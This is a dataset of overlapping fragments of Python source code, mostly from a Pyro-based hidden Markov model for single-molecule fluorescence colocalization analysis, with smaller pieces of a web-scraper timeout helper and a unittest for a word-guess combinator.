"2 html = None while timeout_length < 65 and html is None: try:",
"get_with_increasing_timeout(scraper,link,fail=False,kwargs={}): #if fail is true, we want to throw an error if we",
"def get_with_increasing_timeout(scraper,link,fail=False,kwargs={}): #if fail is true, we want to throw an error if",
"timeout_length = 2 html = None while timeout_length < 65 and html is"
] |
[
"def test_it_exists(self): self.assertNotEqual(GuessCombinator(), None) def test_it_returns_a_best_guess(self): # solution_unknown corpus = [\"abcde\", \"abcdf\", \"abcdg\",",
"def test_it_returns_a_best_guess(self): # solution_unknown corpus = [\"abcde\", \"abcdf\", \"abcdg\", \"abcdh\", \"abcdi\", \"efghi\"] expected_best_guess_pair",
"GuessCombinator class TestGuessCombinator(unittest.TestCase): def test_it_exists(self): self.assertNotEqual(GuessCombinator(), None) def test_it_returns_a_best_guess(self): # solution_unknown corpus =",
"from differ import Differ from guess_combinator import GuessCombinator class TestGuessCombinator(unittest.TestCase): def test_it_exists(self): self.assertNotEqual(GuessCombinator(),",
"class TestGuessCombinator(unittest.TestCase): def test_it_exists(self): self.assertNotEqual(GuessCombinator(), None) def test_it_returns_a_best_guess(self): # solution_unknown corpus = [\"abcde\",",
"[\"abcde\", \"efghi\"] # I can't construct good examples. self.assertNotEqual(GuessCombinator.process( corpus, corpus), None) if",
"unittest from filter import Filter from differ import Differ from guess_combinator import GuessCombinator",
"# solution_unknown corpus = [\"abcde\", \"abcdf\", \"abcdg\", \"abcdh\", \"abcdi\", \"efghi\"] expected_best_guess_pair = [\"abcde\",",
"import Filter from differ import Differ from guess_combinator import GuessCombinator class TestGuessCombinator(unittest.TestCase): def",
"\"abcdg\", \"abcdh\", \"abcdi\", \"efghi\"] expected_best_guess_pair = [\"abcde\", \"efghi\"] # I can't construct good",
"test_it_exists(self): self.assertNotEqual(GuessCombinator(), None) def test_it_returns_a_best_guess(self): # solution_unknown corpus = [\"abcde\", \"abcdf\", \"abcdg\", \"abcdh\",",
"differ import Differ from guess_combinator import GuessCombinator class TestGuessCombinator(unittest.TestCase): def test_it_exists(self): self.assertNotEqual(GuessCombinator(), None)",
"import unittest from filter import Filter from differ import Differ from guess_combinator import",
"Filter from differ import Differ from guess_combinator import GuessCombinator class TestGuessCombinator(unittest.TestCase): def test_it_exists(self):",
"\"abcdi\", \"efghi\"] expected_best_guess_pair = [\"abcde\", \"efghi\"] # I can't construct good examples. self.assertNotEqual(GuessCombinator.process(",
"= [\"abcde\", \"efghi\"] # I can't construct good examples. self.assertNotEqual(GuessCombinator.process( corpus, corpus), None)",
"# I can't construct good examples. self.assertNotEqual(GuessCombinator.process( corpus, corpus), None) if __name__ ==",
"can't construct good examples. self.assertNotEqual(GuessCombinator.process( corpus, corpus), None) if __name__ == '__main__': unittest.main()",
"\"abcdh\", \"abcdi\", \"efghi\"] expected_best_guess_pair = [\"abcde\", \"efghi\"] # I can't construct good examples.",
"guess_combinator import GuessCombinator class TestGuessCombinator(unittest.TestCase): def test_it_exists(self): self.assertNotEqual(GuessCombinator(), None) def test_it_returns_a_best_guess(self): # solution_unknown",
"TestGuessCombinator(unittest.TestCase): def test_it_exists(self): self.assertNotEqual(GuessCombinator(), None) def test_it_returns_a_best_guess(self): # solution_unknown corpus = [\"abcde\", \"abcdf\",",
"Differ from guess_combinator import GuessCombinator class TestGuessCombinator(unittest.TestCase): def test_it_exists(self): self.assertNotEqual(GuessCombinator(), None) def test_it_returns_a_best_guess(self):",
"\"efghi\"] # I can't construct good examples. self.assertNotEqual(GuessCombinator.process( corpus, corpus), None) if __name__",
"from filter import Filter from differ import Differ from guess_combinator import GuessCombinator class",
"= [\"abcde\", \"abcdf\", \"abcdg\", \"abcdh\", \"abcdi\", \"efghi\"] expected_best_guess_pair = [\"abcde\", \"efghi\"] # I",
"\"abcdf\", \"abcdg\", \"abcdh\", \"abcdi\", \"efghi\"] expected_best_guess_pair = [\"abcde\", \"efghi\"] # I can't construct",
"import GuessCombinator class TestGuessCombinator(unittest.TestCase): def test_it_exists(self): self.assertNotEqual(GuessCombinator(), None) def test_it_returns_a_best_guess(self): # solution_unknown corpus",
"from guess_combinator import GuessCombinator class TestGuessCombinator(unittest.TestCase): def test_it_exists(self): self.assertNotEqual(GuessCombinator(), None) def test_it_returns_a_best_guess(self): #",
"None) def test_it_returns_a_best_guess(self): # solution_unknown corpus = [\"abcde\", \"abcdf\", \"abcdg\", \"abcdh\", \"abcdi\", \"efghi\"]",
"expected_best_guess_pair = [\"abcde\", \"efghi\"] # I can't construct good examples. self.assertNotEqual(GuessCombinator.process( corpus, corpus),",
"\"efghi\"] expected_best_guess_pair = [\"abcde\", \"efghi\"] # I can't construct good examples. self.assertNotEqual(GuessCombinator.process( corpus,",
"self.assertNotEqual(GuessCombinator(), None) def test_it_returns_a_best_guess(self): # solution_unknown corpus = [\"abcde\", \"abcdf\", \"abcdg\", \"abcdh\", \"abcdi\",",
"I can't construct good examples. self.assertNotEqual(GuessCombinator.process( corpus, corpus), None) if __name__ == '__main__':",
"[\"abcde\", \"abcdf\", \"abcdg\", \"abcdh\", \"abcdi\", \"efghi\"] expected_best_guess_pair = [\"abcde\", \"efghi\"] # I can't",
"corpus = [\"abcde\", \"abcdf\", \"abcdg\", \"abcdh\", \"abcdi\", \"efghi\"] expected_best_guess_pair = [\"abcde\", \"efghi\"] #",
"import Differ from guess_combinator import GuessCombinator class TestGuessCombinator(unittest.TestCase): def test_it_exists(self): self.assertNotEqual(GuessCombinator(), None) def",
"solution_unknown corpus = [\"abcde\", \"abcdf\", \"abcdg\", \"abcdh\", \"abcdi\", \"efghi\"] expected_best_guess_pair = [\"abcde\", \"efghi\"]",
"test_it_returns_a_best_guess(self): # solution_unknown corpus = [\"abcde\", \"abcdf\", \"abcdg\", \"abcdh\", \"abcdi\", \"efghi\"] expected_best_guess_pair =",
"filter import Filter from differ import Differ from guess_combinator import GuessCombinator class TestGuessCombinator(unittest.TestCase):"
] |
[
"_logmatmulexp(x, y) if time > even_time: contracted = torch.cat((contracted, logits[..., -1:, :, :]),",
"(self.S + 1)).to_event( 1 ), ) trans = expand_offtarget(trans) lamda = pyro.sample(\"lamda\", dist.Exponential(1))",
"if isinstance(fdx, int) and fdx < 1 else Vindex(pyro.param(\"z_trans\"))[ndx, fdx, z_prev] ) z_curr",
"new_left_term = HMM._contraction_identity(sum_term) time = sum_term.size(-3) even_time = time // 2 * 2",
"observed data pyro.sample( f\"data_{fsx}\", KSMOGN( torch.stack(heights, -1), torch.stack(widths, -1), torch.stack(xs, -1), torch.stack(ys, -1),",
") pyro.param( \"proximity_size\", lambda: torch.tensor(100, device=device), constraint=constraints.greater_than(2.0), ) pyro.param( \"lamda_loc\", lambda: torch.tensor(0.5, device=device),",
") pyro.sample( f\"y_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"y_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"size\"))[kdx, ndx, fdx], -(self.data.P + 1)",
"def __init__( self, S: int = 1, K: int = 2, channels: Union[tuple,",
"\"b_loc\", lambda: torch.full( (data.Nt, data.F), data.median - self.data.offset.mean, device=device, ), constraint=constraints.positive, ) pyro.param(",
"spots that can be present in a single image. :param channels: Number of",
"spot variables pyro.sample( f\"height_{kdx}_{fsx}\", dist.Gamma( Vindex(pyro.param(\"h_loc\"))[kdx, ndx, fdx] * Vindex(pyro.param(\"h_beta\"))[kdx, ndx, fdx], Vindex(pyro.param(\"h_beta\"))[kdx,",
") # spots spots = pyro.plate(\"spots\", self.K) # aoi sites aois = pyro.plate(",
"is -3, computes:: x[..., 0, :, :] @ x[..., 1, :, :] @",
"machine learning analysis of single-molecule fluorescence colocalization images. bioRxiv. 2021 Oct. doi: `10.1101/2021.09.30.462536",
") pyro.param( \"h_loc\", lambda: torch.full((self.K, data.Nt, data.F), 2000, device=device), constraint=constraints.positive, ) pyro.param( \"h_beta\",",
"from tapqir.distributions.util import expand_offtarget, probs_m, probs_theta from tapqir.models.cosmos import Cosmos class HMM(Cosmos): r\"\"\"",
"1 else Vindex(trans)[..., z_prev, :, is_ontarget.long()] ) z_curr = pyro.sample(f\"z_{fsx}\", dist.Categorical(z_probs)) theta =",
"result = result.reshape((1,) * len(batch_shape) + (state_dim, state_dim)) result = result.repeat(batch_shape + (1,",
"pyro.markov(range(self.data.F)) ) with aois as ndx: ndx = ndx[:, None] # background mean",
"2, 0.75, 2.25, ), ) x = pyro.sample( f\"x_{kdx}_{fsx}\", AffineBeta( 0, Vindex(size)[..., specific],",
"and - local parallel sampling over any sample site in the guide. \"\"\"",
"_logmatmulexp(left_term, sum_term) return alphas @staticmethod def _contraction_identity(logits: torch.Tensor) -> torch.Tensor: batch_shape = logits.shape[:-2]",
"fdx], Vindex(pyro.param(\"h_beta\"))[kdx, ndx, fdx], ), ) pyro.sample( f\"width_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"w_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"w_size\"))[kdx,",
"max_plate_nesting=2, ignore_jit_warnings=True ) @staticmethod def _sequential_logmatmulexp(logits: torch.Tensor) -> torch.Tensor: \"\"\" For a tensor",
"= onehot_theta[..., 1 + kdx] # spot presence m = pyro.sample( f\"m_{kdx}_{fsx}\", dist.Bernoulli(Vindex(probs_m(lamda,",
"def guide(self): \"\"\" **Variational Distribution** \"\"\" # global parameters pyro.sample( \"gain\", dist.Gamma( pyro.param(\"gain_loc\")",
"(self.data.P + 1) / 2, ), ) pyro.sample( f\"y_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"y_mean\"))[kdx, ndx, fdx],",
"self.data.offset.logits.to(self.dtype), self.data.P, torch.stack(torch.broadcast_tensors(*ms), -1), self.use_pykeops, ), obs=obs, ) z_prev = z_curr def guide(self):",
"1, :, :] @ ... @ x[..., T-1, :, :] but does so",
"left_term = left_term[..., : even_time // 2, :, :] left_sum = sum_term[..., :even_time:2,",
"fitting is not yet supported. **Reference**: 1. <NAME>, <NAME>, <NAME>, Theobald DL. Bayesian",
"std background_mean = pyro.sample(\"background_mean\", dist.HalfNormal(1000)) background_std = pyro.sample(\"background_std\", dist.HalfNormal(100)) z_prev = None for",
"<NAME>, <NAME>, <NAME>, Theobald DL. Bayesian machine learning analysis of single-molecule fluorescence colocalization",
"channels, device, dtype, use_pykeops) self.conv_params = [\"-ELBO\", \"proximity_loc\", \"gain_loc\", \"lamda_loc\"] self._global_params = [\"gain\",",
"\"trans\"] def model(self): \"\"\" **Generative Model** \"\"\" # global parameters gain = pyro.sample(\"gain\",",
"global parameters gain = pyro.sample(\"gain\", dist.HalfNormal(50)) init = pyro.sample( \"init\", dist.Dirichlet(torch.ones(self.S + 1)",
"0.75, 2.25, ), ) pyro.sample( f\"x_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"x_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"size\"))[kdx, ndx, fdx],",
"Vindex(pyro.param(\"w_size\"))[kdx, ndx, fdx], 0.75, 2.25, ), ) pyro.sample( f\"x_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"x_mean\"))[kdx, ndx, fdx],",
"( Vindex(pyro.param(\"z_trans\"))[ndx, fdx, 0] if isinstance(fdx, int) and fdx < 1 else Vindex(pyro.param(\"z_trans\"))[ndx,",
"= time // 2 * 2 even_part = logits[..., :even_time, :, :] x_y",
"out offset. :param vectorized: Vectorize time-dimension. \"\"\" name = \"hmm\" def __init__( self,",
"/ 2, (self.data.P + 1) / 2, ), ) y = pyro.sample( f\"y_{kdx}_{fsx}\",",
"1 + self.S, 1 + self.S, device=device, ), constraint=constraints.simplex, ) pyro.param( \"m_probs\", lambda:",
"torch.stack( ( torch.full_like(proximity, 2.0), (((self.data.P + 1) / (2 * proximity)) ** 2",
"from pyroapi import handlers, infer, pyro from torch.nn.functional import one_hot from tapqir.distributions import",
"= self._sequential_logmatmulexp(pyro.param(\"z_trans\").data.log()) return result[..., 0, 1].exp() @property def pspecific(self) -> torch.Tensor: r\"\"\" Probability",
"= \"hmm\" def __init__( self, S: int = 1, K: int = 2,",
"fdx], Vindex(pyro.param(\"size\"))[kdx, ndx, fdx], -(self.data.P + 1) / 2, (self.data.P + 1) /",
"Vindex(pyro.param(\"m_probs\"))[z_curr, kdx, ndx, fdx] m = pyro.sample( f\"m_{kdx}_{fsx}\", dist.Categorical(m_probs), infer={\"enumerate\": \"parallel\"}, ) with",
"down sweep while sum_terms: sum_term = sum_terms.pop() new_left_term = HMM._contraction_identity(sum_term) time = sum_term.size(-3)",
"of spots that can be present in a single image. :param channels: Number",
") pyro.param( \"background_std_loc\", lambda: torch.ones(data.Nt, 1, device=device), constraint=constraints.positive, ) pyro.param( \"b_loc\", lambda: torch.full(",
"Vindex(pyro.param(\"x_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"size\"))[kdx, ndx, fdx], -(self.data.P + 1) / 2, (self.data.P +",
"2 if time > even_time: new_left_term[..., time - 1 : time, :, :]",
"= torch.eye(state_dim).log() result = result.reshape((1,) * len(batch_shape) + (state_dim, state_dim)) result = result.repeat(batch_shape",
"channels: Union[tuple, list] = (0,), device: str = \"cpu\", dtype: str = \"double\",",
"enumeration over discrete sample sites, and - local parallel sampling over any sample",
"onehot_theta[..., 1 + kdx] # spot presence m = pyro.sample( f\"m_{kdx}_{fsx}\", dist.Bernoulli(Vindex(probs_m(lamda, self.K))[...,",
":, : ] left_term = left_term[..., : even_time // 2, :, :] left_sum",
"pyro from torch.nn.functional import one_hot from tapqir.distributions import KSMOGN, AffineBeta from tapqir.distributions.util import",
":math:`p(z=1)` \"\"\" result = self._sequential_logmatmulexp(pyro.param(\"z_trans\").data.log()) return result[..., 0, 1].exp() @property def pspecific(self) ->",
"** 2, background_mean / background_std ** 2, ), ) # sample hidden model",
"/ (self.S + 1)) ) init = expand_offtarget(init) trans = pyro.sample( \"trans\", dist.Dirichlet(torch.ones(self.S",
"= pyro.plate( \"aois\", self.data.Nt, subsample=self.n, subsample_size=self.nbatch_size, dim=-2, ) # time frames frames =",
"size=self.data.F, dim=-1) if self.vectorized else pyro.markov(range(self.data.F)) ) with aois as ndx: ndx =",
"device=device), constraint=constraints.positive, ) pyro.param( \"b_loc\", lambda: torch.full( (data.Nt, data.F), data.median - self.data.offset.mean, device=device,",
"# spot presence m_probs = Vindex(pyro.param(\"m_probs\"))[z_curr, kdx, ndx, fdx] m = pyro.sample( f\"m_{kdx}_{fsx}\",",
"/ (2 * proximity)) ** 2 - 1), ), dim=-1, ) # spots",
"dist.HalfNormal(50)) init = pyro.sample( \"init\", dist.Dirichlet(torch.ones(self.S + 1) / (self.S + 1)) )",
"ndx = ndx[:, None] pyro.sample( \"background_mean\", dist.Delta(Vindex(pyro.param(\"background_mean_loc\"))[ndx, 0]), ) pyro.sample( \"background_std\", dist.Delta(Vindex(pyro.param(\"background_std_loc\"))[ndx, 0]),",
"simulations. Efficient fitting is not yet supported. **Reference**: 1. <NAME>, <NAME>, <NAME>, Theobald",
"and fdx < 1 else Vindex(trans)[..., z_prev, :, is_ontarget.long()] ) z_curr = pyro.sample(f\"z_{fsx}\",",
"device=device, ), constraint=constraints.unit_interval, ) def TraceELBO(self, jit=False): \"\"\" A trace implementation of ELBO-based",
"gpu). :param dtype: Floating point precision. :param use_pykeops: Use pykeops as backend to",
"(cpu or gpu). :param dtype: Floating point precision. :param use_pykeops: Use pykeops as",
"self.vectorized = vectorized super().__init__(S, K, channels, device, dtype, use_pykeops) self.conv_params = [\"-ELBO\", \"proximity_loc\",",
"pyro.ops.indexing import Vindex from pyroapi import distributions as dist from pyroapi import handlers,",
"constraint=constraints.positive, ) pyro.param( \"background_mean_loc\", lambda: torch.full( (data.Nt, 1), data.median - self.data.offset.mean, device=device, ),",
"<https://doi.org/10.1101/2021.09.30.462536>`_. :param S: Number of distinct molecular states for the binder molecules. :param",
"tensor ``x`` whose time dimension is -3, computes:: x[..., 0, :, :] @",
"constraints from pyro.distributions.hmm import _logmatmulexp from pyro.ops.indexing import Vindex from pyroapi import distributions",
"lambda: torch.full((self.S + 1, 1), 2, device=device), constraint=constraints.positive, ) pyro.param( \"gain_loc\", lambda: torch.tensor(5,",
"self.vectorized: fsx, fdx = fdx else: fsx = fdx # sample background intensity",
"else: sum_terms.append(logits) # handle root case sum_term = sum_terms.pop() left_term = HMM._contraction_identity(sum_term) #",
"0]), ) pyro.sample( \"background_std\", dist.Delta(Vindex(pyro.param(\"background_std_loc\"))[ndx, 0]), ) z_prev = None for fdx in",
"+ self.S, 1 + self.S, device=device, ), constraint=constraints.simplex, ) pyro.param( \"m_probs\", lambda: torch.full(",
") z_curr = pyro.sample( f\"z_{fsx}\", dist.Categorical(z_probs), infer={\"enumerate\": \"parallel\"}, ) for kdx in spots:",
"pyro.sample( \"trans\", dist.Dirichlet( pyro.param(\"trans_mean\") * pyro.param(\"trans_size\") ).to_event(1), ) pyro.sample( \"lamda\", dist.Gamma( pyro.param(\"lamda_loc\") *",
":param device: Computation device (cpu or gpu). :param dtype: Floating point precision. :param",
"if time > even_time: contracted = torch.cat((contracted, logits[..., -1:, :, :]), dim=-3) sum_terms.append(logits)",
"constraint=constraints.positive, ) pyro.param( \"gain_loc\", lambda: torch.tensor(5, device=device), constraint=constraints.positive, ) pyro.param( \"gain_beta\", lambda: torch.tensor(100,",
"> 0): # sample spot variables height = pyro.sample( f\"height_{kdx}_{fsx}\", dist.HalfNormal(10000), ) width",
"torch.stack(widths, -1), torch.stack(xs, -1), torch.stack(ys, -1), target_locs, background, gain, self.data.offset.samples, self.data.offset.logits.to(self.dtype), self.data.P, torch.stack(torch.broadcast_tensors(*ms),",
"left_term[..., : even_time // 2, :, :] left_sum = sum_term[..., :even_time:2, :, :]",
"torch.finfo(self.dtype).eps, ), ) pyro.param( \"proximity_size\", lambda: torch.tensor(100, device=device), constraint=constraints.greater_than(2.0), ) pyro.param( \"lamda_loc\", lambda:",
"(self.data.P + 1) / math.sqrt(12), ), ) # spots spots = pyro.plate(\"spots\", self.K)",
"doi: `10.1101/2021.09.30.462536 <https://doi.org/10.1101/2021.09.30.462536>`_. :param S: Number of distinct molecular states for the binder",
"data.Nt, data.F), 1.5, device=device), constraint=constraints.interval( 0.75 + torch.finfo(self.dtype).eps, 2.25 - torch.finfo(self.dtype).eps, ), )",
"-(self.data.P + 1) / 2, (self.data.P + 1) / 2, ), ) z_prev",
"\"init_size\", lambda: torch.tensor(2, device=device), constraint=constraints.positive, ) pyro.param( \"trans_mean\", lambda: torch.ones(self.S + 1, self.S",
"AffineBeta( pyro.param(\"proximity_loc\"), pyro.param(\"proximity_size\"), 0, (self.data.P + 1) / math.sqrt(12), ), ) # spots",
"sum_term) return alphas @staticmethod def _contraction_identity(logits: torch.Tensor) -> torch.Tensor: batch_shape = logits.shape[:-2] state_dim",
"self.data.offset.samples, self.data.offset.logits.to(self.dtype), self.data.P, torch.stack(torch.broadcast_tensors(*ms), -1), self.use_pykeops, ), obs=obs, ) z_prev = z_curr def",
"pyro.param( \"x_mean\", lambda: torch.zeros(self.K, data.Nt, data.F, device=device), constraint=constraints.interval( -(data.P + 1) / 2",
"+ 1) / 2 + torch.finfo(self.dtype).eps, (data.P + 1) / 2 - torch.finfo(self.dtype).eps,",
"device=device), constraint=constraints.greater_than(2.0), ) pyro.param( \"x_mean\", lambda: torch.zeros(self.K, data.Nt, data.F, device=device), constraint=constraints.interval( -(data.P +",
"= [], [], [], [], [] for kdx in spots: specific = onehot_theta[...,",
"= pyro.sample(\"background_mean\", dist.HalfNormal(1000)) background_std = pyro.sample(\"background_std\", dist.HalfNormal(100)) z_prev = None for fdx in",
"math from typing import Union import torch import torch.distributions.constraints as constraints from pyro.distributions.hmm",
"log space. \"\"\" batch_shape = logits.shape[:-3] state_dim = logits.size(-1) sum_terms = [] #",
"ndx[:, None] pyro.sample( \"background_mean\", dist.Delta(Vindex(pyro.param(\"background_mean_loc\"))[ndx, 0]), ) pyro.sample( \"background_std\", dist.Delta(Vindex(pyro.param(\"background_std_loc\"))[ndx, 0]), ) z_prev",
"sample hidden model state (3,1,1,1) z_probs = ( Vindex(pyro.param(\"z_trans\"))[ndx, fdx, 0] if isinstance(fdx,",
") def TraceELBO(self, jit=False): \"\"\" A trace implementation of ELBO-based SVI that supports",
"-> torch.Tensor: r\"\"\" Probability of there being a target-specific spot :math:`p(\\mathsf{specific})` \"\"\" return",
"- exhaustive enumeration over discrete sample sites, and - local parallel sampling over",
"over discrete sample sites, and - local parallel sampling over any sample site",
"= self.data.fetch(ndx, fdx, self.cdx) # sample background intensity background = pyro.sample( f\"background_{fdx}\", dist.Gamma(",
"^^^ \"\"\" import math from typing import Union import torch import torch.distributions.constraints as",
"// 2 + 1, :, : ] left_term = left_term[..., : even_time //",
"dim=-2, ) # time frames frames = ( pyro.vectorized_markov(name=\"frames\", size=self.data.F, dim=-1) if self.vectorized",
"fdx] * Vindex(pyro.param(\"b_beta\"))[ndx, fdx], Vindex(pyro.param(\"b_beta\"))[ndx, fdx], ), ) # sample hidden model state",
"variational parameters. \"\"\" device = self.device data = self.data pyro.param( \"proximity_loc\", lambda: torch.tensor(0.5,",
"1, device=device), constraint=constraints.simplex, ) pyro.param( \"init_size\", lambda: torch.tensor(2, device=device), constraint=constraints.positive, ) pyro.param( \"trans_mean\",",
"self.data pyro.param( \"proximity_loc\", lambda: torch.tensor(0.5, device=device), constraint=constraints.interval( 0, (self.data.P + 1) / math.sqrt(12)",
"pyro.plate(\"spots\", self.K) # aoi sites aois = pyro.plate( \"aois\", self.data.Nt, subsample=self.n, subsample_size=self.nbatch_size, dim=-2,",
"num_classes=1 + self.K) ms, heights, widths, xs, ys = [], [], [], [],",
") pyro.param( \"background_mean_loc\", lambda: torch.full( (data.Nt, 1), data.median - self.data.offset.mean, device=device, ), constraint=constraints.positive,",
"isinstance(fdx, int) and fdx < 1 else Vindex(pyro.param(\"z_trans\"))[ndx, fdx, z_prev] ) z_curr =",
"z_curr = pyro.sample(f\"z_{fsx}\", dist.Categorical(z_probs)) theta = pyro.sample( f\"theta_{fdx}\", dist.Categorical( Vindex(probs_theta(self.K, self.device))[ torch.clamp(z_curr, min=0,",
"2, background_mean / background_std ** 2, ), ) # sample hidden model state",
"), constraint=constraints.positive, ) pyro.param( \"background_std_loc\", lambda: torch.ones(data.Nt, 1, device=device), constraint=constraints.positive, ) pyro.param( \"b_loc\",",
"constraint=constraints.interval( 0, (self.data.P + 1) / math.sqrt(12) - torch.finfo(self.dtype).eps, ), ) pyro.param( \"proximity_size\",",
"(self.data.P + 1) / 2, ), ) y = pyro.sample( f\"y_{kdx}_{fsx}\", AffineBeta( 0,",
"= left_term[..., : even_time // 2, :, :] left_sum = sum_term[..., :even_time:2, :,",
"ndx, fdx], Vindex(pyro.param(\"h_beta\"))[kdx, ndx, fdx], ), ) pyro.sample( f\"width_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"w_mean\"))[kdx, ndx, fdx],",
":] @ ... @ x[..., T-1, :, :] but does so numerically stably",
"tapqir.models.cosmos import Cosmos class HMM(Cosmos): r\"\"\" **Single-Color Hidden Markov Colocalization Model** .. note::",
"2, :, :] left_sum = sum_term[..., :even_time:2, :, :] left_sum_and_term = _logmatmulexp(left_term, left_sum)",
"torch.tensor(100, device=device), constraint=constraints.positive, ) pyro.param( \"init_mean\", lambda: torch.ones(self.S + 1, device=device), constraint=constraints.simplex, )",
"), ) pyro.param( \"w_size\", lambda: torch.full((self.K, data.Nt, data.F), 100, device=device), constraint=constraints.greater_than(2.0), ) pyro.param(",
"vectorized: Vectorize time-dimension. \"\"\" name = \"hmm\" def __init__( self, S: int =",
"else Vindex(pyro.param(\"z_trans\"))[ndx, fdx, z_prev] ) z_curr = pyro.sample( f\"z_{fsx}\", dist.Categorical(z_probs), infer={\"enumerate\": \"parallel\"}, )",
") z_curr = pyro.sample(f\"z_{fsx}\", dist.Categorical(z_probs)) theta = pyro.sample( f\"theta_{fdx}\", dist.Categorical( Vindex(probs_theta(self.K, self.device))[ torch.clamp(z_curr,",
"HMM._contraction_identity(sum_term) # down sweep while sum_terms: sum_term = sum_terms.pop() new_left_term = HMM._contraction_identity(sum_term) time",
"2, device=device), constraint=constraints.positive, ) pyro.param( \"gain_loc\", lambda: torch.tensor(5, device=device), constraint=constraints.positive, ) pyro.param( \"gain_beta\",",
"-(self.data.P + 1) / 2, (self.data.P + 1) / 2, ), ) #",
"= torch.stack( ( torch.full_like(proximity, 2.0), (((self.data.P + 1) / (2 * proximity)) **",
"device=device), constraint=constraints.positive, ) pyro.param( \"h_beta\", lambda: torch.full((self.K, data.Nt, data.F), 0.001, device=device), constraint=constraints.positive, )",
"constraint=constraints.unit_interval, ) def TraceELBO(self, jit=False): \"\"\" A trace implementation of ELBO-based SVI that",
":param use_pykeops: Use pykeops as backend to marginalize out offset. :param vectorized: Vectorize",
"ms, heights, widths, xs, ys = [], [], [], [], [] for kdx",
"sample spot variables pyro.sample( f\"height_{kdx}_{fsx}\", dist.Gamma( Vindex(pyro.param(\"h_loc\"))[kdx, ndx, fdx] * Vindex(pyro.param(\"h_beta\"))[kdx, ndx, fdx],",
"\"\"\" name = \"hmm\" def __init__( self, S: int = 1, K: int",
"[\"gain\", \"proximity\", \"lamda\", \"trans\"] def model(self): \"\"\" **Generative Model** \"\"\" # global parameters",
"/ 2, ), ) pyro.sample( f\"y_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"y_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"size\"))[kdx, ndx, fdx],",
"that can be present in a single image. :param channels: Number of color",
"# handle root case sum_term = sum_terms.pop() left_term = HMM._contraction_identity(sum_term) # down sweep",
"trans = expand_offtarget(trans) lamda = pyro.sample(\"lamda\", dist.Exponential(1)) proximity = pyro.sample(\"proximity\", dist.Exponential(1)) size =",
"= (0,), device: str = \"cpu\", dtype: str = \"double\", use_pykeops: bool =",
"pyro.sample( \"lamda\", dist.Gamma( pyro.param(\"lamda_loc\") * pyro.param(\"lamda_beta\"), pyro.param(\"lamda_beta\"), ), ) pyro.sample( \"proximity\", AffineBeta( pyro.param(\"proximity_loc\"),",
"/ math.sqrt(12) - torch.finfo(self.dtype).eps, ), ) pyro.param( \"proximity_size\", lambda: torch.tensor(100, device=device), constraint=constraints.greater_than(2.0), )",
"even_part.reshape( batch_shape + (even_time // 2, 2, state_dim, state_dim) ) x, y =",
"), ) x = pyro.sample( f\"x_{kdx}_{fsx}\", AffineBeta( 0, Vindex(size)[..., specific], -(self.data.P + 1)",
"analysis of single-molecule fluorescence colocalization images. bioRxiv. 2021 Oct. doi: `10.1101/2021.09.30.462536 <https://doi.org/10.1101/2021.09.30.462536>`_. :param",
"pyro.sample( f\"height_{kdx}_{fsx}\", dist.HalfNormal(10000), ) width = pyro.sample( f\"width_{kdx}_{fsx}\", AffineBeta( 1.5, 2, 0.75, 2.25,",
"# sample background intensity background = pyro.sample( f\"background_{fdx}\", dist.Gamma( (background_mean / background_std) **",
"= HMM._contraction_identity(sum_term) # down sweep while sum_terms: sum_term = sum_terms.pop() new_left_term = HMM._contraction_identity(sum_term)",
"and std background_mean = pyro.sample(\"background_mean\", dist.HalfNormal(1000)) background_std = pyro.sample(\"background_std\", dist.HalfNormal(100)) z_prev = None",
"self._global_params = [\"gain\", \"proximity\", \"lamda\", \"trans\"] def model(self): \"\"\" **Generative Model** \"\"\" #",
"fdx], 0.75, 2.25, ), ) pyro.sample( f\"x_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"x_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"size\"))[kdx, ndx,",
"channels: Number of color channels. :param device: Computation device (cpu or gpu). :param",
"lambda: torch.ones( data.Nt, data.F, 1 + self.S, 1 + self.S, device=device, ), constraint=constraints.simplex,",
"dist.Delta(Vindex(pyro.param(\"background_std_loc\"))[ndx, 0]), ) z_prev = None for fdx in frames: if self.vectorized: fsx,",
"any sample site in the guide. \"\"\" if self.vectorized: return ( infer.JitTraceMarkovEnum_ELBO if",
"init = expand_offtarget(init) trans = pyro.sample( \"trans\", dist.Dirichlet(torch.ones(self.S + 1, self.S + 1)",
"AffineBeta( 0, Vindex(size)[..., specific], -(self.data.P + 1) / 2, (self.data.P + 1) /",
") x, y = x_y.unbind(-3) contracted = _logmatmulexp(x, y) if time > even_time:",
"self.S + 1, device=device), constraint=constraints.simplex, ) pyro.param( \"trans_size\", lambda: torch.full((self.S + 1, 1),",
"probs_m, probs_theta from tapqir.models.cosmos import Cosmos class HMM(Cosmos): r\"\"\" **Single-Color Hidden Markov Colocalization",
"device=device, ), constraint=constraints.simplex, ) pyro.param( \"m_probs\", lambda: torch.full( (1 + self.S, self.K, self.data.Nt,",
"left_term[ ..., even_time // 2 : even_time // 2 + 1, :, :",
"fdx else: fsx = fdx # fetch data obs, target_locs, is_ontarget = self.data.fetch(ndx,",
"self, S: int = 1, K: int = 2, channels: Union[tuple, list] =",
"= contracted else: sum_terms.append(logits) # handle root case sum_term = sum_terms.pop() left_term =",
"return result[..., 0, 1].exp() @property def pspecific(self) -> torch.Tensor: r\"\"\" Probability of there",
"single-molecule fluorescence colocalization images. bioRxiv. 2021 Oct. doi: `10.1101/2021.09.30.462536 <https://doi.org/10.1101/2021.09.30.462536>`_. :param S: Number",
"guide. \"\"\" if self.vectorized: return ( infer.JitTraceMarkovEnum_ELBO if jit else infer.TraceMarkovEnum_ELBO )(max_plate_nesting=2, ignore_jit_warnings=True)",
"+ 1, 1), 2, device=device), constraint=constraints.positive, ) pyro.param( \"gain_loc\", lambda: torch.tensor(5, device=device), constraint=constraints.positive,",
"batch_shape = logits.shape[:-2] state_dim = logits.size(-1) result = torch.eye(state_dim).log() result = result.reshape((1,) *",
